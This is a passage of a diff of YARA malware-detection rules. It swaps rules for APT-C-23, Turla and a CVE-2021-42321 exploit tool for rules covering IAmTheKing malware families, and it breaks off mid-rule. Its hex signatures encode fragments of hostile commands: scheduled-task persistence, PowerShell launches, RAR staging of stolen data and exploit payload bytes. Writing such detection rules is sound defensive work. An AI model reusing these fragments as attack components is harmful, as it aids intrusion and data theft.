"https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-31/APT-C-23/APT_APT_C_23_Micropsia_Mar_2021_2.yar#L1-L26" + id = "186dc5f5-5cc2-551a-a34c-e775085e7f89" + date = "2021-07-09" + modified = "2021-07-12" + reference = "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_Keylogger_Jul_2021_1.yara#L1-L22" license_url = "N/A" - logic_hash = "a00091161ec69c9885e983117e2b424f860bfbab2551ea23b74c37fc062850b9" - score = 50 - quality = 75 + logic_hash = "dfdf5892564b93cd1bf564cfe62e37d9477b5ae0bf20e0f9a44ee97b7e3a99f8" + score = 75 + quality = 71 tags = "FILE" - hash1 = "d9b938d89a13620aabe81e0a9d02778cad8658cbfd6f15e7dab47b1118b53237" - hash2 = "42f40fb2e4f971807fcb771c9aacc5a2361fdcdaf3eaafc31b22096d81dd0666" - level = "experimental" + hash1 = "4c6995cb65ffeac1272d296eb3273b9fbca7f4d603312a5085b5c3be96154915" + hash2 = "79d363a163dfb0088545e66404e0213a9e18d5ee66713d7bc906ed97c46b5ca3" + tlp = "White" + adversary = "IAmTheKing" strings: - $code1 = { 8d 45 f8 8b 15 90 c7 69 00 e8 1e 05 d5 ff c7 45 d0 00 00 00 00 c7 45 d4 00 00 00 00 8b 45 d8 8b 58 5c 85 db 74 22 8b c3 8b 10 ff 12 52 50 8b 45 d8 8b 40 5c e8 af 4b db ff 29 04 24 19 54 24 04 58 5a 89 45 d0 89 55 d4 6a 04 8d 45 d8 50 6a 2d 8b 45 d8 8b 80 a4 00 00 00 50 e8 59 cd ff ff c7 45 c4 02 00 00 00 6a 04 8d 45 c4 50 6a 3f 8b 45 d8 8b 80 a4 00 00 00 50 e8 3b cd ff ff c7 45 c4 01 00 00 00 6a 04 8d 45 c4 50 6a 3f 8b 45 d8 8b 80 a4 00 00 00 50 e8 1d cd ff ff 33 c0 5a 59 59 64 89 10 68 aa df 6b 00 8b 45 e8 e8 a0 } - $code2 = { 6a 00 8b 45 d0 50 6a 00 6a 00 6a 00 6a 00 8b 45 d8 8b 80 a4 00 00 00 50 e8 d1 cc ff ff 85 c0 75 19 8b 15 50 a7 6e 00 8b 4d e8 8b 45 ec e8 9c fc } - $code3 = { 8d 4d f4 8b 45 d4 8b 40 0c ba 01 00 00 00 8b 18 ff 53 0c 8b 45 d4 8b 50 10 a1 bc 1c 6f 00 e8 82 bc ff ff 8b 55 f4 a1 bc 1c 6f 00 e8 75 bc ff ff 8b 45 f4 ba f4 7c 6d 00 e8 a0 4c d3 ff 0f 85 cf 00 00 00 ba 08 7d 6d 00 a1 bc 1c 6f 00 e8 53 bc ff ff 33 c0 55 68 9a 76 6d 00 64 ff 30 64 89 20 33 c0 89 45 dc 8d 55 9c b8 38 7c 6d 00 e8 7b 86 d5 ff ff 75 9c 68 50 7c 6d 00 8d 55 98 b8 09 00 00 00 e8 c6 c4 ff ff ff 75 98 68 60 7c 6d 00 8d 45 dc ba 04 00 00 00 e8 91 4b d3 ff e8 c4 22 d5 ff dd 5d c0 9b ff 75 c4 ff 75 c0 8d 4d e0 8b 15 30 ab 6e 00 b8 70 7c 6d 00 e8 97 32 d5 ff 8b 45 d4 83 c0 14 } - $s1 = { 4a 00 50 00 45 00 47 00 20 00 49 00 6d 00 61 00 67 00 65 00 20 00 46 00 69 00 6c 00 65 00 25 00 53 00 63 00 68 00 65 00 6d 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 61 00 6c 00 72 00 65 00 61 00 64 00 79 00 20 00 72 00 65 00 67 00 69 00 73 00 74 00 65 00 72 00 65 00 64 00 20 00 66 00 6f 00 72 00 20 00 25 00 73 } - $s2 = "Download start ." fullword wide - $s3 = "application/x-msdownload" fullword wide - $s4 = "Start Download File" fullword wide - $s5 = "getHttpDownload" fullword ascii - $s6 = "Download start ." fullword wide - $s7 = "-start" fullword wide - $s8 = "-Winapi.ImageHlp" fullword ascii - $s9 = "postHttpDownload" fullword ascii + $s1 = "sonme hting is wrong x" fullword ascii + $s2 = { 25 73 25 73 25 73 25 73 } + $s3 = { 0d 0a 5b 44 41 54 41 5d 3a 0d 0a 00 4c 6f 67 2e 74 78 74 } + $s4 = { 0d 0a 5b 54 49 4d 45 3a 5d 25 64 2f 25 64 2f 25 64 20 25 30 32 64 3a 25 30 32 64 3a 25 30 32 64 0d 0a 5b 54 49 54 4c 45 3a 5d } + $s5 = { 25 73 2d 25 30 32 64 2d 25 30 32 64 2d 25 30 32 64 2d 25 30 32 64 } + $s6 = { 6a 00 56 ff 75 f8 8d 45 e4 50 ff 75 f0 ff 75 f4 ff 75 08 ff 15 c4 80 40 00 8b f0 3b f7 74 12 56 ff 15 70 80 40 00 85 c0 75 1b 56 ff 15 78 } condition: - uint16( 0 ) == 0x5a4d and filesize > 50KB and 2 of ( $code* ) and 5 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 25KB and 5 of ( $s* ) } -rule ARKBIRD_SOLG_APT_APT_C_23_Micropsia_Mar_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Queenofhearts_Jul_2021_1 : FILE { meta: - description = "Detect Micropsia used by APT-C-23 (Build 2018)" + description = "Detect QueenOfHearts malware" author = "Arkbird_SOLG" - id = "517a33bb-0214-588f-80e4-dc82f2552330" - date = "2021-03-31" - modified = "2021-03-31" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-31/APT-C-23/APT_APT_C_23_Micropsia_Mar_2021_1.yar#L1-L24" + id = "763b35dd-6515-5ae8-a539-200a3647f074" + date = "2021-07-09" + modified = "2021-07-12" + reference = "https://twitter.com/ShadowChasing1/status/1413111641504292864" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_QueenOfHearts_Jul_2021_1.yara#L1-L23" license_url = "N/A" - logic_hash = "69baab88d80ab15e08f3b08dfca45a1fee6c2e6077152906f391618713fac2ef" - score = 50 - quality = 69 + logic_hash = "51cb8efddbc635e9a54f58a799e6edcf8eda8ca451ebe85cbce5f6cd20bfb083" + score = 75 + quality = 75 tags = "FILE" - hash1 = "eb846bb491bea698b99eab80d58fd1f2530b0c1ee5588f7ea02ce0ce209ddb60" - level = "experimental" + hash1 = "44eb620879e0c3f80ff95fda5b1e301d471b59e47c4002132df646acfc7cc5ba" + hash2 = "a63600e5c28a4c1770a53d310ff017abd3cb9c20cb58a85d53df0c06bcae1864" + hash3 = "f110ebee387c2dfac08beb674a8efec20940bc562c5231e9bb4a90296476c29f" + tlp = "White" + adversary = "IAmTheKing" strings: - $code1 = { c7 85 6c fc ff ff 12 00 00 00 8b f4 8d 85 6c fc ff ff 50 8d 8d 78 fc ff ff 51 ff 15 44 b0 66 00 3b f4 e8 80 d6 fa ff 8d 85 78 fc ff ff 50 b9 e0 83 66 00 e8 06 0d fb ff 6a 00 e8 24 0a 00 00 83 c4 04 50 e8 a2 d9 fa ff 83 c4 04 c7 85 60 fc ff ff } - $code2 = { 68 34 4f 61 00 8d 85 cc fd ff ff 50 e8 3d 02 fd ff 83 c4 08 8b f4 6a 00 6a 00 6a 00 6a 00 8d 85 e8 fd ff ff 50 ff 15 60 b3 66 00 3b f4 e8 f2 0d fd ff 89 85 c0 fd ff ff 83 bd c0 fd ff ff 00 0f 84 49 03 00 00 8b f4 6a 00 6a 00 6a 03 6a 00 6a 00 0f b7 05 d4 83 66 00 50 8b 4d 10 51 8b 95 c0 fd ff ff 52 ff 15 58 b3 66 00 3b f4 e8 b3 0d fd ff 89 85 b4 fd ff ff 83 bd b4 fd ff ff 00 0f 84 f4 02 00 00 8b f4 6a 00 a1 d8 83 66 00 50 6a 00 6a 00 68 5c 4f 61 00 8b 4d 14 51 8d 95 cc fd ff ff 52 8b 85 b4 fd ff ff 50 ff 15 70 b3 66 00 3b f4 e8 6e 0d fd ff 89 85 a8 fd ff ff 83 bd a8 fd ff ff 00 0f 84 af 02 00 00 c7 85 9c fd ff ff 00 00 00 00 83 } - $code3 = { 8b 85 60 fc ff ff 83 c0 01 89 85 60 fc ff ff 83 bd 60 fc ff ff 0a 7d 2a e8 3f fc fa ff 99 b9 1a 00 00 00 f7 f9 83 c2 41 88 95 57 fc ff ff 0f b6 85 57 fc ff ff 50 b9 e0 83 66 00 e8 8b 14 fb } - $s1 = "szhttpUserAgent" fullword ascii - $s2 = "httpUseragent" fullword ascii - $s3 = "dwByteRead" fullword ascii - $s4 = { 25 59 25 6d 25 64 2d 25 49 2d 25 4d 2d 25 53 } - $s5 = { 53 45 4c 45 43 54 20 27 43 52 45 41 54 45 20 49 4e 44 45 58 20 76 61 63 75 75 6d 5f 64 62 2e 27 20 7c 7c 20 73 75 62 73 74 72 28 73 71 6c 2c 31 34 29 20 20 46 52 4f 4d 20 73 71 6c 69 74 65 5f 6d 61 73 74 65 72 20 57 48 45 52 45 20 73 71 6c 20 4c 49 4b 45 20 27 43 52 45 41 54 45 20 49 4e 44 45 58 20 25 27 } - $s6 = { 55 50 44 41 54 45 20 25 51 2e 25 73 20 53 45 54 20 73 71 6c 20 3d 20 43 41 53 45 20 57 48 45 4e 20 74 79 70 65 20 3d 20 27 74 72 69 67 67 65 72 27 20 54 48 45 4e 20 73 71 6c 69 74 65 5f 72 65 6e 61 6d 65 5f 74 72 69 67 67 65 72 28 73 71 6c 2c 20 25 51 29 45 4c 53 45 20 73 71 6c 69 74 65 5f 72 65 6e 61 6d 65 5f 74 61 62 6c 65 28 73 71 6c 2c 20 25 51 29 20 45 4e 44 2c 20 74 62 6c 5f 6e 61 6d 65 20 3d 20 25 51 2c 20 6e 61 6d 65 20 3d 20 43 41 53 45 20 57 48 45 4e 20 74 79 70 65 3d 27 74 61 62 6c 65 27 20 54 48 45 4e 20 25 51 20 57 48 45 4e 20 6e 61 6d 65 20 4c 49 4b 45 20 27 73 71 6c 69 74 65 5f 61 75 74 6f 69 6e 64 65 78 25 25 27 20 41 4e 44 20 74 79 70 65 3d 27 69 6e 64 65 78 27 20 54 48 45 4e 20 27 73 71 6c 69 74 65 5f 61 75 74 6f 69 6e 64 65 78 5f 27 20 7c 7c 20 25 51 20 7c 7c 20 73 75 62 73 74 72 28 6e 61 6d 65 2c 25 64 2b 31 38 29 20 45 4c 53 45 20 6e 61 6d 65 20 45 4e 44 20 57 48 45 52 45 20 74 62 6c 5f 6e 61 6d 65 3d 25 51 20 43 4f 4c 4c 41 54 45 20 6e 6f 63 61 73 65 20 41 4e 44 20 28 74 79 70 65 3d 27 74 61 62 6c 65 27 20 4f 52 20 74 79 70 65 3d 27 69 6e 64 65 78 27 20 4f 52 20 74 79 70 65 3d 27 74 72 69 67 67 65 72 27 29 3b } - $s7 = { 25 00 6c 00 73 00 28 00 25 00 64 00 29 } - $s8 = { 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 25 73 0d 0a } + $s1 = "send request error:%d" fullword ascii + $s2 = "cookie size :%d" fullword wide + $s3 = "querycode error" fullword wide + $s4 = { 7b 27 73 65 73 73 69 6f 6e 27 3a 5b 7b 27 6e 61 6d 65 27 3a 27 [1-10] 27 2c 27 69 64 27 3a [1-6] 2c 27 74 69 6d 65 27 3a [3-10] 7d 5d 2c 27 6a 70 67 27 3a } + $s5 = "PmMytex%d" fullword wide + $s6 = { 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 4c 00 65 00 6e 00 67 00 74 00 68 00 3a 00 20 00 25 00 49 00 36 00 34 00 75 00 0d 00 0a } + $s7 = { 25 00 73 00 5c 00 25 00 73 00 2e 00 6c 00 6f 00 67 } + $s8 = { 25 00 73 00 5f 00 25 00 63 00 25 00 63 00 25 00 63 00 25 00 63 00 5f 00 25 00 64 } condition: - uint16( 0 ) == 0x5a4d and filesize > 50KB and 2 of ( $code* ) and 5 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 100KB and 5 of ( $s* ) } -rule ARKBIRD_SOLG_APT_Sidewinder_Nov_2020_1 : FILE +rule ARKBIRD_SOLG_MAL_Kingofhearts_Jul_2021_1 : FILE { meta: - description = "Detect Sidewinder DLL decoder algorithm" + description = "Detect KingOfHearts malware" author = "Arkbird_SOLG" - id = "9e948949-f38d-5a76-a34c-965ec9be070d" - date = "2020-11-14" - modified = "2020-11-15" - reference = "https://twitter.com/hexfati/status/1325397305051148292" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-15/APT_SideWinder_Nov_2020_1.yar#L1-L12" + id = "b1efb4db-3864-5fdc-a3a0-992734eaf22f" + date = "2021-07-09" + modified = "2021-07-12" + reference = "https://twitter.com/ShadowChasing1/status/1413111641504292864" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_KingOfHearts_Jul_2021_1.yara#L1-L21" license_url = "N/A" - logic_hash = "661eb5510ff0aa59b38b2c023653f0a23867a2813d854fbd0a7a6b657d9ba671" + logic_hash = "6761958760997030693c832c75098890b0d6d34fd6fe9c60d68d611497d57419" score = 75 - quality = 75 + quality = 50 tags = "FILE" - hash1 = "8d7ad2c603211a67bb7abf2a9fe65aefc993987dc804bf19bafbefaaca066eaa" + hash1 = "0639e8f5e517c3f57d28bfd9f51cabfb275c64b7bca224656c2ac04f5a8c3af0" + hash2 = "0340a90ed4000e579c29f6ad7d4ab2ae1d30f18a2e777689e3e576862efbd6e0" + hash3 = "393ccb9853ea7628792e4dd982c2dd52dd8f768fdb7b80b20cbfc2fac4e298a4" + tlp = "White" + adversary = "IAmTheKing" strings: - $s = { 13 30 05 00 ?? 00 00 00 01 00 00 11 ?? ?? 00 00 ?? ?? ?? 00 00 [30-80] 2B 16 07 08 8F 1? } + $s1 = { 43 00 72 00 65 00 61 00 74 00 65 00 44 00 6f 00 77 00 6e 00 4c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 46 00 61 00 69 00 6c 00 65 00 64 00 2c 00 45 00 72 00 72 00 6f 00 72 00 3d 00 25 00 64 } + $s2 = { 43 00 72 00 65 00 61 00 74 00 65 00 55 00 70 00 4c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 20 00 22 00 25 00 73 00 22 } + $s3 = "HARDWARE\\DESCRIPTION\\System\\BIOS" fullword ascii + $s4 = "\\1-driver-vmsrvc" fullword ascii + $s5 = { 73 74 61 72 74 20 64 6f 77 6e 3a 20 25 73 0a } + $s6 = { 66 00 69 00 6c 00 65 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 20 00 22 00 25 00 73 00 22 } condition: - uint16( 0 ) == 0x5a4d and filesize > 3KB and $s + uint16( 0 ) == 0x5a4d and filesize > 35KB and 4 of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Unknown_PE_Jul_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Jackofhearts_Jul_2021_1 : FILE { meta: - description = "Detect unknown TA that focus russian people" + description = "Detect JackOfHearts malware" author = "Arkbird_SOLG" - id = "228e194c-84d9-562a-8811-326c5efeafae" - date = "2020-07-14" - modified = "2021-07-14" - reference = "https://twitter.com/ShadowChasing1/status/1415292150258880513" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-14/MAL_Unknown_PE_Jul_2021_1.yara#L1-L19" + id = "42d5eadb-dd94-5a15-8a0d-d1e56b58ce2e" + date = "2021-07-09" + modified = "2021-07-12" + reference = "hhttps://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_JackOfHearts_Jul_2021_1.yara#L1-L23" license_url = "N/A" - logic_hash = "9c61d2e29315bea0cdaf45b6dc48d35b8cc2d85de84afbb3a213f095a555af71" + logic_hash = "6cad69beb7c104ef19beb26ca42b923283a0303c230e30b48dde58f88af4cd42" score = 75 quality = 73 tags = "FILE" - hash1 = "ef80365cdbeb46fa208e98ca2f73b7d3d2bde10ea6c3f7cc22d4bbf39d921524" - tlp = "white" - adversary = "-" + hash1 = "64d78eec46c9ddd4b9a366de62ba0f2813267dc4393bc79e4c9a51a9bb7e6273" + tlp = "White" + adversary = "IAmTheKing" strings: - $s1 = { 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 43 00 52 00 45 00 41 00 54 00 45 00 20 00 2f 00 53 00 43 00 20 00 4f 00 4e 00 43 00 45 00 20 00 2f 00 54 00 4e 00 20 00 25 00 73 00 20 00 2f 00 54 00 52 00 20 00 25 00 73 00 20 00 2f 00 52 00 49 00 20 00 31 00 20 00 2f 00 53 00 54 00 20 00 25 00 30 00 32 00 64 00 3a 00 25 00 30 00 32 00 64 00 20 00 2f 00 45 00 54 00 20 00 25 00 30 00 32 00 64 00 3a 00 25 00 30 00 32 00 64 00 20 00 2f 00 46 } - $s2 = { 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 45 00 6e 00 64 00 20 00 2f 00 54 00 4e 00 20 00 25 00 73 } - $s3 = { 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 44 00 65 00 6c 00 65 00 74 00 65 00 20 00 2f 00 54 00 4e 00 20 00 25 00 73 00 20 00 2f 00 46 00 20 00 3c 00 20 00 25 00 73 } - $s4 = "6ad5e187ae3e8911c420434551678df2.txt" fullword wide - $s5 = { 55 52 4c 44 6f 77 6e 6c 6f 61 64 65 72 } - $s6 = { 64 6c 6c 00 4d 79 45 78 70 6f 72 74 } + $s1 = "%appdata%" fullword ascii + $s2 = "%temp%" fullword ascii + $s3 = { 43 3a 5c 55 73 65 72 73 5c [2-10] 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c } + $s4 = "CreateServiceA" fullword ascii + $s5 = { 5c 00 53 00 74 00 72 00 69 00 6e 00 67 00 46 00 69 00 6c 00 65 00 49 00 6e 00 66 00 6f 00 5c 00 25 00 30 00 34 00 78 00 25 00 30 00 34 00 78 00 5c 00 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e } + $s6 = "\\VarFileInfo\\Translation" fullword wide + $s7 = { 5c 00 46 00 69 00 6c 00 74 00 65 00 72 00 [2-8] 2e 00 6a 00 70 00 67 } + $s8 = "\\SetupUi" fullword wide + $s9 = { 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 25 64 } + $s10 = "%s.tmp" fullword wide condition: - uint16( 0 ) == 0x5a4d and filesize > 8KB and 5 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 20KB and 7 of ( $s* ) } -rule ARKBIRD_SOLG_EXP_CVE_2021_42321_Nov_2021_1 : CVE_2021_42321 FILE +rule ARKBIRD_SOLG_MAL_Powerpool_Jul_2021_2 : FILE { meta: - description = "Detect CVE-2021-42321 exploit tool" + description = "Detect PowerPool malware (ALPC exploit variant)" author = "Arkbird_SOLG" - id = "2efd58a1-e5c3-5596-b5fd-f6e2fe0ab620" - date = "2021-11-21" - modified = "2021-11-21" - reference = "https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-21/EXP_CVE_2021_42321_Nov_2021_1.yara#L1-L19" + id = "2988e9a8-da43-51fb-bd39-44aa1d161120" + date = "2021-07-09" + modified = "2021-07-12" + reference = "https://www.welivesecurity.com/2018/09/05/powerpool-malware-exploits-zero-day-vulnerability/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_PowerPool_Jul_2021_2.yara#L1-L23" license_url = "N/A" - logic_hash = "bf45f240875f3c3ab729fe623b6c97d0540c0d7d3e9b2e4beb88af6922f8a643" - score = 50 - quality = 67 - tags = "CVE-2021-42321, FILE" - hash1 = "537744916ce2e78748d301901c679307e8159101f3b194add89f6e1dfbf62c32" - tlp = "white" - level = "Experimental" - adversary = "-" + logic_hash = "07d7a6444ddccbf4887de18659147354c9961092bb07ee0148392035a6d27086" + score = 75 + quality = 75 + tags = "FILE" + hash1 = "035f97af0def906fbd8f7f15fb8107a9e852a69160669e7c0781888180cd46d5" + hash2 = "a72cdb6be7a967d3aa0021d2331b61af84455539e6f127720c9aac9b8392ec24" + hash3 = "df7b9d972ac83cc4a590f09d74cb242de3442cc9c1f19ed08f62bd6ebc9fc0fd" + tlp = "White" + adversary = "IAmTheKing" strings: - $s1 = { 41 41 45 41 41 41 44 2f 2f 2f 2f 2f 41 51 41 41 41 41 41 41 41 41 41 4d 41 67 41 41 41 46 35 4e 61 57 4e 79 62 } - $s2 = "/ews/exchange.asmx" ascii - $s3 = { 48 74 74 70 4e 74 6c 6d 41 75 74 68 28 27 25 73 27 20 25 20 28 55 53 45 52 29 } - $s4 = { 22 55 73 65 72 2d 41 67 65 6e 74 22 3a 20 22 45 78 63 68 61 6e 67 65 53 65 72 76 69 63 65 73 43 6c 69 65 6e 74 } - $s5 = { 6d 56 6a 64 45 52 68 64 47 46 51 63 6d 39 32 61 57 52 6c 63 6a 34 4e 43 69 41 67 49 43 41 38 54 32 4a 71 5a 57 4e 30 52 47 46 30 59 56 42 79 62 33 5a 70 5a 47 56 79 49 48 67 36 53 32 56 35 50 53 4a 7a 5a 58 52 4e 5a 58 52 6f 62 32 51 69 49 45 39 69 61 6d 56 6a 64 45 6c 75 63 33 52 68 62 6d 4e 6c 50 53 4a 37 65 44 70 54 64 47 46 30 61 57 4d 67 59 7a 70 44 62 32 35 6d 61 57 64 31 63 6d 46 30 61 57 } + $s1 = { 5c 00 53 00 74 00 72 00 69 00 6e 00 67 00 46 00 69 00 6c 00 65 00 49 00 6e 00 66 00 6f 00 5c 00 25 00 30 00 34 00 78 00 25 00 30 00 34 00 78 00 5c 00 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e } + $s2 = { 2f 00 3f 00 69 00 64 00 3d 00 25 00 73 00 26 00 69 00 6e 00 66 00 6f 00 3d 00 25 00 73 } + $s3 = { 72 00 61 00 72 00 2e 00 65 00 78 00 65 00 20 00 61 00 20 00 2d 00 72 00 20 00 25 00 73 00 2e 00 72 00 61 00 72 00 20 00 2d 00 74 00 61 00 25 00 30 00 34 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 20 00 2d 00 74 00 62 00 25 00 30 00 34 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 } + $s4 = { 63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 24 00 50 00 53 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 54 00 61 00 62 00 6c 00 65 00 2e 00 50 00 53 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 3e 00 20 00 22 00 25 00 73 00 22 } + $s5 = { 63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 3e 00 20 00 22 00 25 00 73 00 22 } + $s6 = { 83 c4 04 53 56 68 [2] 42 00 ba c8 ?? 43 00 e8 ?? a9 ff ff 83 c4 0c 56 68 [2] 42 00 ba c8 ?? 43 00 e8 ?? a9 ff ff 83 c4 08 83 7c 24 20 00 68 40 01 00 00 74 61 33 ed 55 68 88 ?? 43 00 e8 ?? a4 00 00 b8 50 ?? 42 00 83 c4 0c 8b d0 66 8b 08 83 c0 02 66 3b cd 75 f5 bf 88 ?? 43 00 2b c2 83 c7 fe 8d 64 24 00 66 8b 4f 02 83 c7 02 66 3b cd 75 f4 8b c8 c1 e9 02 8b f2 f3 a5 8b c8 83 e1 03 68 90 ?? 42 00 f3 a4 e8 [2] 00 00 83 c4 04 33 f6 89 74 24 20 eb 66 6a 00 68 88 ?? 43 00 e8 ?? a4 00 00 b8 f0 ?? 42 00 83 c4 0c 8b d0 66 8b 08 83 c0 02 66 85 c9 75 f5 bf 88 ?? 43 00 2b c2 83 c7 fe 8d 64 24 00 66 8b 4f 02 83 c7 02 66 85 c9 75 f4 8b c8 c1 e9 02 8b f2 f3 a5 8b c8 83 e1 03 68 98 ?? 42 00 f3 a4 e8 ?? 95 00 00 c7 44 24 24 01 00 00 00 8b 74 24 24 83 c4 04 33 ed 68 d0 07 00 00 a3 d4 ?? 42 00 } condition: - filesize > 3KB and 4 of them + uint16( 0 ) == 0x5a4d and filesize > 100KB and 5 of ( $s* ) } -rule ARKBIRD_SOLG_APT_Turla_Comrat_Chinch_V4_Jan_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Slothfulmedia_Jul_2021_1 : FILE { meta: - description = "Detect ComRAT V4 (Chinch) used by APT Turla group" + description = "Detect SlothfulMedia malware" author = "Arkbird_SOLG" - id = "7d4daf3d-eed9-59fb-a4b9-fbc1c72adfcd" - date = "2021-01-23" - modified = "2021-01-26" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-01-23/Turla/APT_Turla_ComRAT_Chinch_V4_Jan_2021_1.yar#L1-L28" + id = "f4e1eca6-ecc9-5911-b69e-c8c4de43f1a1" + date = "2021-07-09" + modified = "2021-07-12" + reference = "hhttps://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_SlothfulMedia_Jul_2021_1.yara#L1-L26" license_url = "N/A" - logic_hash = "0d92207c4716f8d2fbf1d4f0cf3a33c38417fdd1565c87c251f7ff290135c435" + logic_hash = "929364cbb9854336641590d53ee9c4548f02845e26252d359b155e4c2b1032ca" score = 75 - quality = 75 + quality = 73 tags = "FILE" - hash1 = "a62e1a866bc248398b6abe48fdb44f482f91d19ccd52d9447cda9bc074617d56" + hash1 = "04ca010f4c8997a023fabacae230698290e3ff918a86703c5e0a2a6983b039eb" + hash2 = "927d945476191a3523884f4c0784fb71c16b7738bd7f2abd1e3a198af403f0ae" + hash3 = "ed5258306c06d6fac9b13c99c7c8accc7f7fa0de4cf4de4f7d9eccad916555f5" + tlp = "White" + adversary = "IAmTheKing" strings: - $com1 = "state->_reprocess_current_token || token.type != GUMBO_TOKEN_START_TAG || token.v.start_tag.attributes.data == NULL" fullword wide - $com2 = "fragment_ctx != GUMBO_TAG_LAST" fullword wide - $com3 = "has_matching_a == 1" fullword wide - $com4 = "ODFA: %u %d %u" fullword ascii - $com5 = "Custom browser path is empty." fullword ascii - $com6 = "Default browser path is:" fullword ascii - $com7 = "Search for browser path." fullword ascii - $com8 = "Cant retrieve any path." fullword ascii - $com9 = "Custom browser path is:" fullword ascii - $jmp1 = { 2e 64 6c 6c 00 55 4d 45 50 00 56 46 45 50 } - $jmp2 = { 33 c9 e9 ?? ?? ff ff cc cc cc cc cc cc cc cc cc } - $seq1 = { 40 55 48 8d ac 24 00 fd ff ff 48 81 ec 00 04 00 00 48 8b 05 80 46 1b 00 48 33 c4 48 89 85 d0 02 00 00 b9 d8 02 00 00 e8 f4 8b 07 00 4c 8b 0d c5 a5 1c 00 48 8d 95 00 01 00 00 4c 8b 05 af a5 1c 00 48 8d 0d c8 9d 1c 00 4d 2b c8 48 89 05 ae 8a 1d 00 e8 a9 7e fc ff 48 83 bd 18 01 00 00 10 48 8d 8d 00 01 00 00 48 0f 43 8d 00 01 00 00 ff 15 24 f3 0c 00 48 8b 15 25 f3 0c 00 48 8b c8 e8 6d 59 fb ff 48 8b 95 18 01 00 00 48 83 fa 10 } - $seq2 = { 41 8b 41 08 83 e8 09 83 f8 08 } - $seq3 = { 48 8b 03 48 8b cb ff 50 08 48 8b 95 f8 01 00 00 48 83 fa 08 72 39 48 8b 8d e0 } - $seq4 = { b8 09 00 00 00 44 88 a5 60 01 00 00 48 8d 8d 60 01 00 00 f3 0f 7f 85 70 01 00 00 e8 c1 19 fc ff ba df 5e ca 76 48 8d 4d 50 e8 63 ea fc ff 48 8b c8 48 8d 95 60 01 00 00 e8 c4 cb ff ff 0f b6 15 dd 8b 1c 00 48 8b c8 e8 35 cd ff ff 48 8b 95 78 01 00 00 48 83 fa 10 72 34 } + $s1 = { 5c 00 53 00 74 00 72 00 69 00 6e 00 67 00 46 00 69 00 6c 00 65 00 49 00 6e 00 66 00 6f 00 5c 00 25 00 30 00 34 00 78 00 25 00 30 00 34 00 78 00 5c 00 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e } + $s2 = "\\VarFileInfo\\Translation" fullword wide + $s3 = { 5c 00 46 00 69 00 6c 00 74 00 65 00 72 